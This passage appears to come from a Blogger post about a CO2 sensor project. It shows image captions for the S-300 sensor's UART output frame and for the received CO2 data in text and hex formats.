width="100%"></p></li><br/></ul><br/><br/><h2>Excuting</h2><br/><br/><ul><br/><li><p>UART frame of S-300<br/><br/><img src="http://i.imgur.com/NFWSzhP.png" alt="S-300 output frame in UART" height="100%" width="100%"></p></li><br/><li><p>CO2 Data received from the Sensor node<br/><br/><img src="http://i.imgur.com/VS8cGT8.jpg" alt="C02 Data received form Sensor node" height="100%" width="100%"></p></li><br/><li><p>CO2 Data shown in text format<br/><br/><img src="http://i.imgur.com/akBgT95.png" alt="text type" height="50%" width="50%"></p></li><br/><li><p>CO2 Data shown in Hex format<br/><br/><p><img src="http://i.imgur.com/PEzeli6.png" alt="Hex type" height="50%" width="50%"></p></li><br/></ul>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com1